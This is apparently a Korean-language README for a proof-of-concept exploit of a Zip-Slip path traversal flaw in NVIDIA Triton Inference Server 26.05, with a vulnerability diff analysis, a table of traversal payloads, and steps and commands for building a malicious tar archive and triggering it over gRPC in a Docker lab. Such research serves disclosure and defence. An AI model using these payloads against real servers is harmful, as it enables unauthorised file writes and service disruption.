
# CVE-2026-47627 개념 증명 익스플로잇 NVIDIA Triton Inference Server의 경로 탐색 취약점으로, Zip-Slip을 통해 임의 파일 쓰기로 이어지는 CVE-2026-47627에 대한 개념 증명 익스플로잇입니다. 상세 분석, 실습 환경, 원클릭 익스플로잇 스크립트를 포함합니다.
이 저장소의 전체 연구 결과 및 PoC 상세 문서(
nvcr.io/nvidia/tritonserver:26.05-py3이미지 /server v2.69.0). 저장소는 항상explicit모드로 설정되어 gRPC를 통한 재시작 없는 PoC를 지원합니다.
| 필드 | 값 |
|---|---|
| CVE | CVE-2026-47627 |
| CNA | [email protected] |
| 공개일 | 2026-08-18 (NVD 분석 대기 중) |
| Bulletin | NV 5865 → https://github.com/NVIDIA/product-security/tree/main/2026/5865 |
| CVSS 3.1 | 9.8 CRITICAL AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-22 경로 탐색 |
| 영향 버전 | 0.0-26.05 (server v2.69.0 / core r26.05) |
| 수정 버전 | 26.06 (server v2.70.0 / core r26.06) |
| 영향 | DoS (CNA 설명) — 본 연구는 Zip-Slip을 통한 /models 외부 파일 쓰기를 입증하며, 이는 DoS/리소스 고갈로 확장 가능 |
| 발견자 | Martin Brodeur |
솔직한 고지: CNA 설명은 세부 정보 없이
경로 탐색 → DoS만 명시합니다. 본 문서는r26.05..r26.06diff 및26.05-py3컨테이너에서의 직접 테스트를 통해 버그 위치를 재구성합니다.
이미지: nvcr.io/nvidia/tritonserver:26.05-py3 (TRITON_VERSION 2.69.0)
Compose는 항상 explicit 모드 (이 저장소에서 패치됨):
# docker-compose.yml:12
command: ["tritonserver", "--model-repository=/models", "--model-control-mode=explicit", "--log-verbose=0"]
run_triton.bat:10, run_triton.ps1:11, run_triton.sh:12도 explicit 모드입니다.
Triton 모드:
NONE (업스트림 기본값) → 시작 시 한 번만 로드, POST /v2/repository/models/.../load → 503, 새 모델 로드 시 재시작 필요.POLL → 저장소를 매초 스캔, 자동 로드, 명시적 로드는 여전히 차단.EXPLICIT (이 저장소) → 스캔하지 않지만, gRPC load_model / POST /load 허용 → gRPC를 통한 재시작 없는 PoC.포트:
| 8000 | HTTP REST | v2/health, v2/models, v2/repository |
| 8001 | gRPC | RepositoryModelLoad, ModelInfer |
| 8002 | Metrics | Prometheus |
초기 모델:
model_repository/
├── echo_python/ (python backend, model.py)
│ └── 1/model.py
└── identity_onnx/ (onnxruntime, model.onnx ~1KB)
빠른 시작:
docker compose up -d
docker compose logs -f
py scripts/client_test.py # health + identity_onnx 추론
사용자 입력 (model_name / tar 항목) ──► join(parent, child) ──► canonicalize ──► "child가 parent 내부인지" 확인 ──► 파일 열기
│ │ │ │ │
└──► "../tmp/pwn" /models + "/../tmp/pwn" = /models/../tmp/pwn → /tmp/pwn rfind vs find + '/' 확인 FileExists / extract
join에 canonicalize가 없거나 rfind(parent,0)==0 확인이 잘못된 경우(부분 일치 /models vs /models_evil), ../로 이스케이프 가능./dev/zero, /proc/self/mem이거나 ../../를 포함한 tar가 시스템 파일을 덮어쓸 때 발생 → 중단 / OOM / 크래시.세 가지 연구 질문 (초기 보고서에서):
RepositoryModelLoad의 model_name, EXECUTION_ENV_PATH tar 항목, file: 오버라이드, TRITON_BATCH_STRATEGY_PATH.posixpath.join(repo, model_name) / temp_dir + "/" + file_name + IsChildPathEscapingParentPath.DoS. 이 저장소에서는 /tmp/poc_marker로의 파일 쓰기가 입증됨.core 저장소 (r26.05..r26.06):
src/filesystem/api.cc:407 IsChildPathEscapingParentPath — dcb315d + 72f3d9b 수정:
// 취약 (r26.05):
absolute_child.rfind(absolute_parent,0) != 0
// → 부분 일치 버그: "/models" 접두사가 "/models_evil/file"을 내부로 간주
// 수정됨 (r26.06):
canonical_child.find(canonical_parent,0)==0 &&
((child.size() > parent.size() && child[parent.size()]=='/') || child.size()==parent.size())
// → 접두사 뒤에 '/'가 있어야 함, "/models_evil"은 이제 올바르게 외부로 처리
src/backend_model.cc:196 (TRITON_BATCH_STRATEGY_PATH) 및 src/model_repository_manager/model_repository_manager.cc:162 (file:)에서 사용.
src/model_repository_manager/model_repository_manager.cc:62 ValidateModelName — core#472/#481 (2026년 3월, 26.05에 이미 포함되었으나 26.06에서 강화):
if (trimmed==".." || trimmed.find('/')!=npos) return INVALID_ARG "must not contain path traversal"
이로 인해 26.05에서 gRPC load_model('../tmp/pwn') → 400 INVALID_ARGUMENT (이미 차단됨). 그러나 %2f (인코딩된 /)는 리터럴 /가 아니므로 통과 → 리터럴 폴링으로 500.
python_be.cc:292 EXECUTION_ENV_PATH — e520f8c7 테스트 zipslip_test.py:
Tar는 .. / 절대 경로 확인 없이 추출됨. /models/poc_exploit/malicious_env.tar.gz의 ../../poc_marker 항목이 /tmp/poc_marker (모델 디렉터리 외부)로 추출됨. 26.06 수정: ARCHIVE_EXTRACT_SECURE_NODOTDOT|NOABSOLUTEPATHS + IsChildPathEscapingParentPath 확인 사용.
server 저장소 (r26.05..r26.06): sagemaker_server.cc:1027 (RE2::FullMatch 확인) + http_server.cc:2440 (atoi→stoi)만 변경, 이 CVE 경로와 무관.
결론: HTTP/gRPC를 통한 model_name 경로는 26.05에서 ValidateModelName에 의해 이미 차단되었지만, tar Zip-Slip은 아직 차단되지 않음 — 이것이 이 저장소 PoC가 악용하는 지점입니다.
| 벡터 | 페이로드 | 26.05 결과 | 영향? |
|---|---|---|---|
HTTP 원시 ../ | POST /v2/repository/models/../tmp/pwn/load | 404 (라우팅 정규화) | ❌ |
HTTP 인코딩 ..%2f | POST /v2/repository/models/..%2ftmp%2fpwn/load | 500 리터럴, /models/..%2ftmp%2fpwn 폴링 없음 | ❌ (가짜 500, 탐색 아님) |
gRPC 원시 ../tmp/pwn | load_model('../tmp/pwn') | 400 INVALID_ARGUMENT | ❌ (이미 차단됨) |
gRPC 인코딩 ..%2f | load_model('..%2ftmp%2fpwn') | 500 리터럴 폴링 | ❌ |
file: 오버라이드 ../models_evil | file:../models_evil/pwn | 부분 일치에 따라 400/500 | ⚠️ (IsChildPathEscapingParentPath 버그에 따라 다르지만, model_name은 ValidateModelName으로 이미 차단) |
EXECUTION_ENV_PATH tar ../../poc_marker | malicious_env.tar.gz 항목 ../../poc_marker | 200 + /tmp/poc_marker 파일 | ✅ 취약 |
이전 문서의
500 vs 400비유는 잘못됨:500= 파일 없음(문 없음),400= 검증 거부(문 잠김). 둘 다 진입 불가./tmp에 파일이 생성되는200만이 증거입니다.
아이디어: Python 백엔드 매개변수 EXECUTION_ENV_PATH가 $$TRITON_MODEL_DIRECTORY/malicious_env.tar.gz를 가리킴. load_model('poc_exploit') 시 백엔드 pb_env.cc:292가 tar를 검증 없이 추출. ../../poc_marker 항목이 .../poc_exploit/에서 /tmp/poc_marker로 이스케이프.
PoC 단계 (scripts/exploit.py:28 및 exploit.ps1:20에서 자동화):
echo_python → poc_exploit 복사 (scripts/exploit.py:35)config.pbtxt 추가 (scripts/exploit.py:40):
parameters: {key: "EXECUTION_ENV_PATH", value: {string_value: "$$TRITON_MODEL_DIRECTORY/malicious_env.tar.gz"}}
scripts/exploit.py:44):
TarInfo(name='../../poc_marker', size=6, mode=0o644) # → /tmp/poc_marker
TarInfo(name='bin/activate', mode=0o755)
gRPC load_model('poc_exploit') 트리거 (scripts/exploit.py:60) — explicit 모드이므로 재시작 없음.docker exec tritonserver-test cat /tmp/poc_marker → pwned 확인 (scripts/exploit.py:81)전제 조건: Docker, 26.05-py3 이미지가 docker compose up -d로 실행 중 (저장소는 explicit 모드).
Python (재시작 없음, gRPC 경유):
py scripts/exploit.py # explicit 자동 감지 → gRPC
py scripts/exploit.py --keep # 수동 확인용 아티팩트 유지
# 수동 확인: docker exec tritonserver-test cat /tmp/poc_marker
# 수동 정리: docker exec tritonserver-test rm -f /tmp/poc_marker
PowerShell:
powershell -ExecutionPolicy Bypass -File exploit.ps1
powershell -ExecutionPolicy Bypass -File exploit.ps1 -Keep
MODE_NONE으로 복원 (업스트림 기본값 원할 경우):
# docker-compose.yml:12에서 --model-control-mode=explicit 제거
docker compose up -d --force-recreate